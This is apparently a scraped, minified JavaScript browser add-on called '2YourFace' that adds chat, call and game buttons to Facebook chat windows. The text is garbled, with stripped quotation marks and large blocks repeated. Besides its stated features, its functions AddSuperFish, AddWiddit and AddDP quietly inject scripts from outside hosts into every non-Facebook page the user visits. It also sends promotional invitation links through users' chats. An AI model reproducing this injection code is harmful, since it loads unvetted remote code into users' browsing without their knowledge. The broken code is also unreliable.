to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function 